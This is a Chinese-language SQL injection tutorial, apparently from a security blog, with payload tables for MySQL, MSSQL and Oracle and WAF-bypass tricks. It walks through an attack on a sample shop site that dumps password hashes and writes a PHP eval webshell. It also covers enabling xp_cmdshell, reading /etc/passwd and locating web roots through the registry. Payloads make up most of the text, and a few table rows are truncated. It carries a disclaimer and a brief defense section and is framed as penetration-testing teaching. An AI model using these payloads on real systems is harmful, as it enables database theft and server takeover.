SQL 注入详解:从原理到实战
免责声明
- 本文分享的渗透测试技术,核心目的是帮助读者理解攻击原理,进而构建更有效的防御体系——渗透测试的本质是以攻促防,而非指导攻击。
SQL 注入利用应用程序对用户输入验证不足,将恶意代码拼接至 SQL 语句执行。本文涵盖注入原理、分类(联合查询、报错、盲注等)、MySQL/MSSQL/Oracle 差异命令、实战案例及防御方案。重点讲解 SRC 挖掘原则、WAF 绕过技巧及高效语句,强调参数化查询与最小权限原则,确保测试在授权范围内进行。

SQL 注入(SQL Injection)是由于应用程序对用户输入数据缺乏严格验证,导致恶意 SQL 代码被拼接进原始 SQL 语句并执行的漏洞。其核心原理是:应用程序将用户输入直接作为 SQL 语句的一部分,而非参数化处理,攻击者通过构造特殊输入,篡改 SQL 逻辑,实现未授权操作(如查询敏感数据、修改数据库、执行系统命令等)。
例如,一个简单的登录验证 SQL:
SELECT * FROM users WHERE username='用户输入' AND password='用户输入';
若用户输入用户名 ' OR '1'='1,密码任意,SQL 会变为:
SELECT * FROM users WHERE username='' OR '1'='1' AND password='任意值';
由于 '1'='1 恒为真,攻击者无需正确密码即可登录。
根据目标应用的回显情况、注入方式,SQL 注入可分为以下核心类型,实战中需根据场景选择:
| 类型 | 适用场景 | 核心特点 | 典型技术手段 |
|---|---|---|---|
| 联合查询注入 | 存在回显(如查询结果直接显示在页面) | 通过 UNION SELECT 拼接查询,直接获取数据 | 确定字段数→查询数据库信息→提取数据 |
| 报错注入 | 页面会显示数据库错误信息(如 MySQL 报错) | 构造特殊语句触发数据库报错,从错误信息中提取数据 | 利用 extractvalue()、updatexml() 等函数 |
| 布尔盲注 | 无直接回显,但页面会根据 SQL 执行结果变化(如'存在'/'不存在') | 通过 AND 条件 判断信息真伪,逐字符猜解 | 结合 SUBSTRING()、ASCII() 函数猜解 |
| 时间盲注 | 无回显且页面无变化,仅能通过响应时间判断 | 利用 IF(条件,延迟,正常) 构造语句,通过延迟判断条件是否成立 | 结合 SLEEP()、WAITFOR DELAY 函数 |
| 堆叠查询注入 | 数据库支持多语句执行(如 MSSQL、MySQL) | 用 ; 分隔多条 SQL 语句,执行增删改查或系统命令 | 执行 ; DROP TABLE users; 等恶意语句 |
| 宽字节注入 | 应用对单引号进行 \ 转义(如 PHP 的 addslashes()) | 输入宽字节字符(如 %df')吃掉转义符 \,使单引号生效 | 利用 %df' OR 1=1# 绕过转义 |
无论目标数据库是 MySQL、MSSQL 还是 Oracle,SQL 注入的核心流程一致:判断注入点→收集数据库信息→提取敏感数据→(可选)提权或执行系统命令。以下是通用步骤与语句:
通过构造特殊输入,观察页面响应(报错、内容变化、延迟)判断是否存在注入:
',若页面报错(如 You have an error in your SQL syntax)或内容异常,可能存在注入;' AND 1=1#(# 注释掉后续语句),若页面正常;输入 ' AND 1=2#,页面异常,确认存在注入;' AND SLEEP(5)#(MySQL),若页面延迟 5 秒响应,确认存在注入。确定注入点后,优先获取数据库类型、版本、当前用户等信息,为后续攻击铺路:
| 目标信息 | 通用查询语句(需根据数据库调整函数) |
|---|---|
| 数据库类型 | 利用不同数据库特有的函数(如 MySQL 用 version(),MSSQL 用 @@version) |
| 数据库版本 | ' UNION SELECT 1,version(),3#(MySQL);' UNION SELECT 1,@@version,3#(MSSQL) |
| 当前用户 | ' UNION SELECT 1,user(),3#(MySQL);' UNION SELECT 1,SYSTEM_USER,3#(MSSQL) |
| 当前数据库名 | ' UNION SELECT 1,database(),3#(MySQL);' UNION SELECT 1,DB_NAME(),3#(MSSQL) |
| 操作系统信息 | ' UNION SELECT 1,@@version,3#(MSSQL 直接返回 OS 信息);MySQL 需通过 load_file('/etc/issue')(Linux) |
通过查询数据库系统表(不同数据库系统表不同),获取目标数据表名、字段名:
| 操作目标 | 核心思路(需结合数据库系统表) |
|---|---|
| 列出所有数据表 | 查询系统表中存储表名的字段(如 MySQL 的 information_schema.tables) |
| 列出表中字段 | 查询系统表中存储字段名的字段(如 MySQL 的 information_schema.columns) |
| 提取字段内容 | 直接查询目标表的字段(如 SELECT username,password FROM users) |
部分数据库支持通过 SQL 注入执行系统命令(需高权限),或写入文件 getshell:
xp_cmdshell、MySQL 的 system()(需特定配置);INTO OUTFILE、Oracle 的 utl_file 包,写入 Webshell 到网站目录。MySQL、MSSQL、Oracle 的系统表、函数差异较大,注入命令需针对性调整,以下是实战中最常用的命令对比:
MySQL 依赖 information_schema 系统库,支持 UNION、SLEEP() 等函数,常用命令:
| 操作目标 | 注入命令示例 |
|---|---|
| 判断字段数 | ' ORDER BY 3#(若页面正常,增加数字直到异常,确定字段数为 2) |
| 联合查询基础信息 | ' UNION SELECT 1,version(),database(),user()# |
| 列出所有数据库 | ' UNION SELECT 1,SCHEMA_NAME,3 FROM information_schema.SCHEMATA# |
| 列出指定库(如 test)的表 | ' UNION SELECT 1,TABLE_NAME,3 FROM information_schema.TABLES WHERE TABLE_SCHEMA='test'# |
| 列出指定表(如 users)的字段 | ' UNION SELECT 1,COLUMN_NAME,3 FROM information_schema.COLUMNS WHERE TABLE_NAME='users'# |
| 提取字段内容(用户名密码) | ' UNION SELECT 1,username,password FROM users# |
| 时间盲注猜解(逐字符) | ' AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))=114,SLEEP(5),1)#(判断第一个用户的第一个字符 ASCII 是否为 114,是则延迟 5 秒) |
| 写入 Webshell(需权限) | ' UNION SELECT 1,'',3 INTO OUTFILE 'C:/phpstudy/www/shell.php'# |
| 读取系统文件 | ' UNION SELECT 1,load_file('/etc/passwd'),3#(Linux);load_file('C:/Windows/system32/drivers/etc/hosts')#(Windows) |
MSSQL 系统表为 sysobjects、syscolumns,支持 xp_cmdshell 存储过程,常用命令:
| 操作目标 | 注入命令示例 |
|---|---|
| 判断字段数 | ' ORDER BY 4--(-- 为 MSSQL 注释符) |
| 联合查询基础信息 | ' UNION SELECT 1,@@version,SYSTEM_USER,DB_NAME()-- |
| 列出当前库的所有表 | ' UNION SELECT 1,name,3,4 FROM sysobjects WHERE xtype='U'--(xtype='U'表示用户表) |
| 列出指定表(如 users)的字段 | ' UNION SELECT 1,name,3,4 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- |
| 提取字段内容 | ' UNION SELECT 1,username,password,4 FROM users-- |
| 布尔盲注猜解 | ' AND (SELECT ASCII(SUBSTRING((SELECT TOP 1 username FROM users),1,1)))=114--(判断第一个字符 ASCII 是否为 114) |
| 时间盲注 | ' WAITFOR DELAY '0:0:5'--(直接延迟 5 秒);' IF (条件) WAITFOR DELAY '0:0:5'-- |
| 执行系统命令(需开启 xp_cmdshell) | ' ; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'ipconfig'-- |
| 写入 Webshell | ' ; EXEC master..xp_cmdshell 'echo ^ > C:\inetpub\wwwroot\shell.php'-- |
Oracle 系统表为 user_tables、user_tab_columns,需通过 dual 虚拟表查询,常用命令:
| 操作目标 | 注入命令示例 |
|---|---|
| 判断字段数 | ' ORDER BY 3-- |
| 联合查询基础信息 | ' UNION SELECT 1,(SELECT banner FROM sys.v_$version WHERE rownum=1),3 FROM dual--(查询版本);' UNION SELECT 1,USER,3 FROM dual--(当前用户) |
| 列出当前用户的表 | ' UNION SELECT 1,table_name,3 FROM user_tables WHERE rownum<=5--(列出前 5 张表) |
| 列出指定表(如 users)的字段 | ' UNION SELECT 1,column_name,3 FROM user_tab_columns WHERE table_name='USERS' AND rownum<=5--(注意表名大写) |
| 提取字段内容 | `' UNION SELECT 1,username |
| 时间盲注 | ' AND CASE WHEN (条件) THEN dbms_lock.sleep(5) ELSE 1 END--(满足条件延迟 5 秒) |
| 布尔盲注 | ' AND (SELECT ASCII(SUBSTR(username,1,1)) FROM users WHERE rownum=1)=114-- |
| 读取文件(需权限) | ' UNION SELECT 1,utl_file.read_file('/etc/passwd',1,1000),3 FROM dual--(需 UTL_FILE 权限) |
| 写入文件(需权限) | ' ; INSERT INTO sys.audit$ (sessionid,userid) VALUES (1,utl_file.put_file('/var/www/html','shell.php',''))--(需高权限) |
以某电商网站商品查询页(MySQL 数据库) 为例,完整演示 SQL 注入流程:
目标 URL:http://www.target.com/product.php?id=1(通过 id 参数查询商品信息),初步判断存在 SQL 注入。
http://www.target.com/product.php?id=1',页面报错(You have an error in your SQL syntax),确认可能存在注入;id=1' AND 1=1# 页面正常,id=1' AND 1=2# 页面异常,确认存在注入;id=1' ORDER BY 5# 页面异常,id=1' ORDER BY 4# 页面正常,说明查询结果有 4 个字段。使用联合查询获取关键信息:
http://www.target.com/product.php?id=1' UNION SELECT 1,version(),database(),user()#
页面回显:
version():5.7.36-0ubuntu0.18.04.1(MySQL 版本);database():shopdb(当前数据库名);user():root@localhost(当前用户为 root,权限极高)。列出 users 表的字段:
http://www.target.com/product.php?id=1' UNION SELECT 1,COLUMN_NAME,3,4 FROM information_schema.COLUMNS WHERE TABLE_NAME='users'#
发现字段:id、username、password、email。
列出 shopdb 库的所有表:
http://www.target.com/product.php?id=1' UNION SELECT 1,TABLE_NAME,3,4 FROM information_schema.TABLES WHERE TABLE_SCHEMA='shopdb'#
发现表名:users(疑似用户表)、orders(订单表)、products(商品表)。
查询 users 表的 username 和 password:
http://www.target.com/product.php?id=1' UNION SELECT 1,username,password,4 FROM users#
页面回显:
admin / e10adc3949ba59abbe56e057f20f883e(MD5 加密,解密后为 123456);test / 202cb962ac59075b964b07152d234b70(解密后为 123)。由于当前用户为 root,尝试写入一句话木马到网站根目录:
http://www.target.com/product.php?id=1' UNION SELECT 1,'<?php @eval($_POST[pass]);?>',3,4 INTO OUTFILE '/var/www/html/shell.php'#
访问 http://www.target.com/shell.php,使用蚁剑连接(密码 pass),成功获取服务器权限。
id 必须为数字,过滤单引号、分号等特殊字符);xp_cmdshell 等危险存储过程);UNION SELECT、xp_cmdshell)。在动手前先明确 3 个原则,避免走弯路:
drop、delete、update 等破坏性语句(即使是测试数据),聚焦 select 类查询;version()、database()),避免触发 WAF 对 union select、xp_cmdshell 的拦截。SRC 中 SQL 注入的挖掘流程可简化为 4 步,每一步都有对应的高效语句,避免冗余操作:
目标:确认参数是否存在注入,避免在无注入点的参数上浪费时间。
优先选择数字型参数(如 ?id=1)或字符型参数(如 ?username=test),用以下轻量语句测试:
| 参数类型 | 测试语句(URL 编码后) | 判断逻辑 |
|---|---|---|
| 数字型(?id=1) | ?id=1 and 1=1 → 正常;?id=1 and 1=2 → 异常(内容变化 / 报错) | 若 1=1 正常、1=2 异常,证明参数参与 SQL 逻辑,存在注入;反之无注入。 |
| 字符型(?u=test) | ?u=test' and '1'='1 → 正常;?u=test' and '1'='2 → 异常 | 字符型需闭合单引号(或双引号,根据开发习惯),逻辑同上。 |
| 搜索型(?s = 关键词) | ?s=关键词%' and '1'='1 → 正常;?s=关键词%' and '1'='2 → 异常 | 搜索参数常带 %,需在单引号前保留 %,避免破坏 SQL 语法。 |
高效技巧:若页面无明显变化(盲注场景),直接用时间盲注语句快速验证:
?id=1 and sleep(5)(延迟 5 秒则存在注入);?id=1 waitfor delay '0:0:5';?id=1 and dbms_lock.sleep(5) is not null。SRC 中常见数据库为 MySQL、MSSQL、Oracle,不同数据库的系统表、函数差异极大,错用语句会导致效率骤降。用以下'数据库专属函数'1 步识别:
| 目标数据库 | 识别语句(注入点后拼接) | 验证逻辑 |
|---|---|---|
| MySQL | ?id=1 and (select count(*) from information_schema.tables)>=0 | 若正常,证明是 MySQL(information_schema 是 MySQL 专属系统库);若报错,排除 MySQL。 |
| MSSQL | ?id=1 and (select count(*) from sysobjects)>=0 | 若正常,证明是 MSSQL(sysobjects 是 MSSQL 专属系统表);若报错,排除 MSSQL。 |
| Oracle | ?id=1 and (select count(*) from user_tables)>=0 | 若正常,证明是 Oracle(user_tables 是 Oracle 专属表);若报错,排除 Oracle。 |
高效技巧:若页面显错,直接用版本查询语句,同时获取数据库版本(判断是否有已知漏洞):
?id=1 and (select version())>0(报错显示版本,如 5.7.36);?id=1 and (select @@version)>0(显示 Microsoft SQL Server 2019);?id=1 and (select banner from sys.v_$version where rownum=1)>0(显示 Oracle 版本)。SRC 提交 SQL 注入漏洞,需提供'可复现的漏洞场景 + 敏感信息证明'(如数据库账号、用户表数据)。优先提取以下信息,避免冗余查询:
| 数据库 | 语句(显错 / 联合查询场景) | 作用 |
|---|---|---|
| MySQL | ?id=1 and (select database())>0 或 ?id=-1 union select 1,database(),3 | 直接获取当前连接的数据库名(如 src_web),证明注入能访问数据库元信息。 |
| MSSQL | ?id=1 and (select db_name())>0 或 ?id=-1 union select 1,db_name(),3-- | 同上,获取当前数据库名(如 SRC_DB)。 |
| Oracle | ?id=1 and (select sys_context('userenv','current_schema') from dual)>0 | Oracle 无'当前数据库'概念,获取当前 Schema(如 SRC_USER)。 |
传统'猜表名(admin、user)'效率低,直接查询系统表批量获取所有表 / 字段,SRC 中常需证明'存在用户表 + 包含账号密码字段':
| 数据库 | 批量查用户表语句(显错场景) | 批量查字段语句(已知表名如 users) |
|---|---|---|
| MySQL | ?id=1 and (select group_concat(table_name) from information_schema.tables where table_schema=database())>0 | ?id=1 and (select group_concat(column_name) from information_schema.columns where table_name='users')>0 |
| MSSQL | ?id=1 and (select top 10 name from sysobjects where xtype='U' for xml path(''))>0 | ?id=1 and (select top 10 name from syscolumns where id=(select id from sysobjects where name='users') for xml path(''))>0 |
| Oracle | ?id=1 and (select listagg(table_name,',') within group (order by table_name) from user_tables where rownum<=10)>0 | ?id=1 and (select listagg(column_name,',') within group (order by column_name) from user_tab_columns where table_name='USERS' and rownum<=10)>0 |
高效技巧:group_concat(MySQL)、for xml path('')(MSSQL)、listagg(Oracle)能将多条结果合并为 1 条,避免多次查询,适合 SRC 快速取证。
SRC 无需提取所有数据,1 条'账号密码'或'手机号'即可证明危害,优先提取用户表的第一条数据:
| 数据库 | 提取语句(已知表 users,字段 username/password) | 作用 |
|---|---|---|
| MySQL | `?id=-1 union select 1,concat(username,' | ',password),3 from users limit 0,1` |
| MSSQL | `?id=-1 union select 1,username+' | '+password,3 from users top 1--` |
| Oracle | `?id=-1 union select 1,username |
若 SRC 规则允许'证明权限提升'(如 SA 权限、写文件),可执行以下语句,但需提前确认目标无业务影响:
| 数据库 | 高危利用语句(需高权限) | 作用与风险 |
|---|---|---|
| MySQL | ?id=1 and (select load_file('/etc/passwd'))>0(Linux)或 load_file('C:/Windows/system32/drivers/etc/hosts')>0 | 读取系统文件,证明能访问服务器敏感配置;风险:可能泄露服务器信息。 |
| MySQL | ?id=1 union select 1,'',3 into outfile '/var/www/html/shell.php' | 写入 Webshell,证明能控制服务器;风险:可能被判定为'破坏性测试',SRC 需提前沟通。 |
| MSSQL | ?id=1;exec master..xp_cmdshell 'whoami'-- | 执行系统命令,证明 SA 权限;风险:xp_cmdshell 常被 WAF 拦截,且易触发告警。 |
| Oracle | ?id=1 and (select utl_file.read_file('/etc/passwd',1,1000) from dual)>0 | 读取系统文件,需 UTL_FILE 权限;风险:Oracle 权限控制严格,成功率较低。 |
以下语句均经过 SRC 实战验证,聚焦'短、快、准',避免冗余语法:
| 功能场景 | 语句示例 | 优势与适用场景 |
|---|---|---|
| 注入点验证(时间盲注) | ?id=1 and if((select count(*) from users)>=1,sleep(5),1) | 同时验证注入点和用户表存在,1 条语句抵 2 条。 |
| 查所有库名 | ?id=1 and (select group_concat(schema_name) from information_schema.schemata)>0 | 批量获取所有数据库(如 mysql,src_web,test),快速定位业务库。 |
| 查字段数据(布尔盲注) | ?id=1 and ascii(substr((select username from users limit 0,1),1,1))=97 | 盲注时用 ascii()+substr() 逐字符猜解,比 left() 更精准(避免字符编码问题)。 |
| 判断写入权限 | ?id=1 and (select @@datadir) like '%www%' | 查数据目录是否包含 www(Web 目录常见关键词),判断是否能写入 Webshell。 |
| 读 Web 配置文件 | ?id=1 and (select load_file('/var/www/html/config.php'))>0 | 直接读 Web 配置文件,可能获取数据库账号、密钥等敏感信息,SRC 取证高效。 |
| 功能场景 | 语句示例 | 优势与适用场景 |
|---|---|---|
| 验证 SA 权限 | ?id=1 and (select is_srvrolemember('sysadmin'))=1 | 1 条语句确认是否为 SA 权限(最高权限),SRC 中 SA 权限漏洞评级更高。 |
| 查所有库名 | ?id=1 and (select top 10 name from master.dbo.sysdatabases for xml path(''))>0 | 跨库查所有数据库(MSSQL 需 master 库权限),比 db_name() 更全面。 |
| 恢复 xp_cmdshell | ?id=1;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure-- | 1 条语句恢复被删除的 xp_cmdshell,适合高权限利用。 |
| 读注册表找 Web 路径 | ?id=1;declare @p varchar(255);exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@p output;select @p-- | 无需建表,直接读注册表获取 Web 根路径(如 C:\inetpub\wwwroot),高效定位写入位置。 |
| 功能场景 | 语句示例 | 优势与适用场景 |
|---|---|---|
| 注入点验证(显错) | ?id=1 and (select 1/0 from dual)>0 | 触发除零错误(ORA-01476),快速确认显错注入,比 and 1=2 更直观。 |
| 查当前用户权限 | ?id=1 and (select sys_context('userenv','current_user') from dual) like '%DBA%' | 判断当前用户是否为 DBA(Oracle 最高权限),权限越高漏洞危害越大。 |
| 批量查字段(含类型) | `?id=1 and (select listagg(column_name | |
| 时间盲注(规避 WAF) | ?id=1 and case when (select count(*) from users)>=1 then dbms_lock.sleep(5) else 1 end is not null | 用 case when 替代 if,规避 WAF 对 if 函数的拦截。 |
/article/1(数字型,常直接拼接 SQL);username、password(字符型,过滤不严格);?s=关键词(常带 %,过滤逻辑易出错)。?id=1 Union Select 1,database(),3(规避 WAF 对 union select 的小写拦截);?id=1/*abc*/and/*def*/1=2(用 /* */ 分割关键词,绕过字符串匹配);sleep(5) → benchmark(1000000,md5('a'))(MySQL 中 benchmark 也能实现延迟)。sqlmap 快速验证注入点:sqlmap -u "http://target.com/?id=1" --batch --dbs(批量查库,节省手工时间);sqlmap 输出冗余,SRC 提交需精简)。0 试到 127,用二分法缩小范围:
username 第一个字符的 ASCII 值:
?id=1 and ascii(substr((select username from users limit 0,1),1,1))>90(若正常,说明 ASCII>90,可能是小写字母);?id=1 and ascii(...)>100(若异常,说明 ASCII 在 91-100 之间);dirs、temp),避免影响目标系统;SQL 注入的核心是'输入未过滤导致恶意代码执行',其危害从窃取数据到控制服务器不等。实战中需根据数据库类型(MySQL/MSSQL/Oracle)调整注入命令,结合目标回显情况选择联合查询、盲注等技术。防御的关键在于参数化查询 + 输入验证 + 最小权限,从源头阻断注入可能性。
重要提示:所有 SQL 注入测试必须在授权环境下进行,未经授权的攻击均属违法,违反《网络安全法》及《刑法》第 285/286 条,需承担法律责任。

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online
Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online
在线格式化和美化您的 SQL 查询(它支持各种 SQL 方言)。 在线工具,SQL 美化和格式化在线工具,online